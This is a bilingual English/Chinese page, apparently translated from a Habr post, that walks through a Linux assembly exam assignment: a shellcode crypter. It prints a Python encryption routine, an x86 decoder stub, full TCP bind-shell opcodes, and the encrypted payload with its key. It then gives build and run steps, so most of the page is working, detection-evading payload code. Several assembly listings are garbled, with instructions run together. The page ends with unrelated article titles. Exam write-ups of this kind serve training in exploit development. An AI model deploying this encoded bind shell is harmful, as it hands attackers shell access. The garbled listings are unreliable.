plain_key = ""for b in range(len(plain_shellcode)):enc_b = (plain_shellcode[b] + key[b]) & 255encrypted_shellcode += '%02x' % enc_bplain_key += '0x'+ '%02x' % key[b] + ','print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)

First, create skeleton:

首先,创建骨架:

section .text
global _start_start:; push encrypted shellcode<PUSH ENCRYPTED SHELLCODE>jmp getdata
next:   pop ebxmov esi, espmov edi, esp; place key lengthmov ecx, <KEY LENGTH>decrypt:lodsbsub al, byte [ebx]inc ebxstosbloop decryptjmp esp; exitxor eax, eaxmov al, 1xor ebx, ebxint 0x80getdata: call next; Place key on next linekey db <CIPHER KEY>

This code requires 3 things: push instructions with encrypted shellcode, key length and cipher key itself.

此代码需要3件事:带加密shellcode的推送指令,密钥长度和密码密钥本身。

Let's encrypt TCP bind shell shellcode.

让我们加密TCP绑定外壳程序shellcode。

$hexopcode bind_tcp_shell
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

Encrypt output

加密输出

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105

print push instructions for our encrypted shellcode

打印我们的加密shellcode的推送说明

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13push 0x90909013push 0x8fb7726f...

And fill all fileds in .asm file

并将所有文件填充到.asm文件中

section .text
global _start_start:; push encrypted shellcodepush 0x90909013push 0x8fb7726fpush 0x4cad864bpush 0xbf09ba20push 0x2c13f1e5push 0x1e36bff2push 0x83a47bf3push 0x76b90c8fpush 0xfa73b77fpush 0x4c55318bpush 0xab3cb9c5push 0x19874bc0push 0x750a73ddpush 0x18da4250push 0xa338c711push 0xb1491492push 0x2d398f06push 0x35c54629push 0xe1d514c6push 0x2dfc14c5push 0xff29aeccpush 0xb4f718ccpush 0xac388f5dpush 0xfb457228push 0x27b52d90push 0x2d6378f4push 0x8df4f24ajmp getdata
next:   pop ebxmov esi, espmov edi, esp; place key lengthmov ecx, 105decrypt:lodsbsub al, byte [ebx]inc ebxstosbloop decryptjmp esp; exitxor eax, eaxmov al, 1xor ebx, ebxint 0x80getdata: call next; Place key on next linekey db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

Build it

建立它

$nasm32 encrypted_bind

Get opcode from file

从文件获取操作码

$popcode encrypted_bind

Place output it into shellcode.c, compile and run.

将其输出到shellcode.c中,进行编译并运行。

链接 (Links)

Code of all files you can find at:

您可以在以下位置找到所有文件的代码:

github.com/2S1one/SLAEgithub.com/2S1one/SLAE

翻译自: https://habr.com/en/post/482334/

SLAE — SecurityTube Linux组装考试相关推荐

  1. Linux 认证考试:精解Linux find命令的使用linuxfindnam

    Linux认证考试:精解Linuxfind命令的使用 Linuxfind命令是用来查找文件时使用的命令,熟练使用这一命令可以帮助我们快速查找所需要的文件,分别可以有时间.用户组.文件权限以及附加操作参 ...

  2. linux中设备文件的主要内容包括什么,LINUX期末考试复习题.doc

    LINUX期末考试复习题 LINUX期末考试复习题一.单项选择题 1.Linux是( )年由芬兰赫尔辛基大学的学生( )在Minix系统的基础上开发完成的. A.1991,Linus Benedict ...

  3. 2016年linux认证,2016年Linux认证考试要点

    2016年Linux认证考试要点 Internet上最热门的服务之一就是WWW(World Wide Web)服务,Web服务已经成为很多人在网上查找.浏览信息的主要手段,它是一种交互式图形界面的服务 ...

  4. linux认证考试有哪些

    今天小编给大家分享的是linux认证考试有哪些,相信很多人都不太了解,为了让大家更加了解linux认证考试,所以给大家总结了以下内容,一起往下看吧.一定会有所收获的哦. linux认证有什么?linu ...

  5. linux认证考试内容,Linux认证考试RHCE大纲

    下面是由题名考试网计算机小编为您整理发布的Linux认证考试RHCE大纲: RHCE必要的知识点 1.考生必须必须掌握以下基本技能,因为它们是RHCE考试中必考的内容 * use standard c ...

  6. linux系统 如何选择题,Linux认证考试练习题

    Linux认证考试练习题 一.填空题(每空1分, 20分) 1.系统管理的任务之一是能够在________环境中实现对程序和数据的安全保护.备份.恢复与更新. 2.系统交换分区是作为系统_______ ...

  7. linux认证在哪考试,2017年Linux认证考试练习题

    Linux+考试价格是190美元,考试采用多选题形式,时长120分钟,所覆盖的内容很多都是和Sair以及LPI认证完全一样的,但难度稍有降低.下面是小编整理的关于Linux认证考试练习题,希望大家认真 ...

  8. linux的基础简答题,Linux认证考试试题及答案「简答题」

    Linux认证考试试题及答案「简答题」 1.论述实时信号.非实时信号.可靠信号.不可靠信号四个概念. 答:实时信号目前未用,非实时信号编号1-31.0表示空信号 1分 非实时信号没有排队机制,可能丢失 ...

  9. 2016年linux认证考试,2016年Linux认证考试复习要点辅导

    2016年Linux认证考试复习要点辅导 renice 功能说明:调整优先权. 语 法:renice [优先等级][-g ...][-p ...][-u ...] 补充说明:renice指令可重新调整 ...

  10. 2016年linux认证考试,2016年Linux认证考试模拟练习及答案

    2016年Linux认证考试模拟练习及答案 下面哪个命令能去掉主引导信息里的内容(选择最合适的答案) a.fdisk /mbr b.format /mbr c.mbr/format d.mbr/rep ...

最新文章

  1. 拒绝泡沫,客观评价!让我们从18个分立的视角来看AI
  2. 一位刚刚成功上岸的智能车队员对于参赛经历总结与对比赛的建议
  3. jetson nano 采坑记录
  4. git 获取远程分支到本地_如何将git本地仓库上传到远程仓库?
  5. C++ Opengl 绘制二次几何体源码
  6. mutex_lock
  7. 内推!字节、阿里、网易火热招聘中,内推优筛简历,快人一步拿offer,真香!(送内推码)...
  8. 【51nod】最大子段和
  9. 复数矩阵Cholesky分解算法的C++实现
  10. 访问HDFS报错:org.apache.hadoop.security.AccessControlException: Permission denied
  11. 固体火箭发动机三维装药逆向内弹道计算
  12. openGL 例子:创建一个二十面体
  13. 论文_毕业设计复现机器学习模型案例大本营(收藏)
  14. 大友克洋机器人嘉年华_大友克洋
  15. [视觉Slam十四讲(2)踩坑记录]第3讲:Fatal error :Eigen/core没有那个文件或目录
  16. 【时间之外】面向监狱的编程?该学学网络安全法了(2)
  17. java audioinputstream 读取音频文件_从原始文件中获取最多x个字节的AudioInputStream(剪切音频文件)...
  18. 说说Mac上的截图快捷键
  19. 【OAuth2】三、OAuth2配置解读
  20. Android 布 局 翻 译 器

热门文章

  1. 2022身份识别技术大会 | 安全证件 | 可信身份认证 | 生物识别 | 公共安全安防身份技术展览会
  2. [linux thermal] thermal device tree
  3. 给设计团队管理者的6个建议
  4. Java面试题目和答案
  5. 移动互联网组建与优化
  6. 17行python代码轻松搞定堆糖网所有小姐姐图片
  7. TPM管理解决制造型企业成本大问题的常用手段
  8. 关于裁员几点看法及建议
  9. 软件测试面试之逻辑篇(一)
  10. Chrome保存整个网页为图片(终极解决方案!)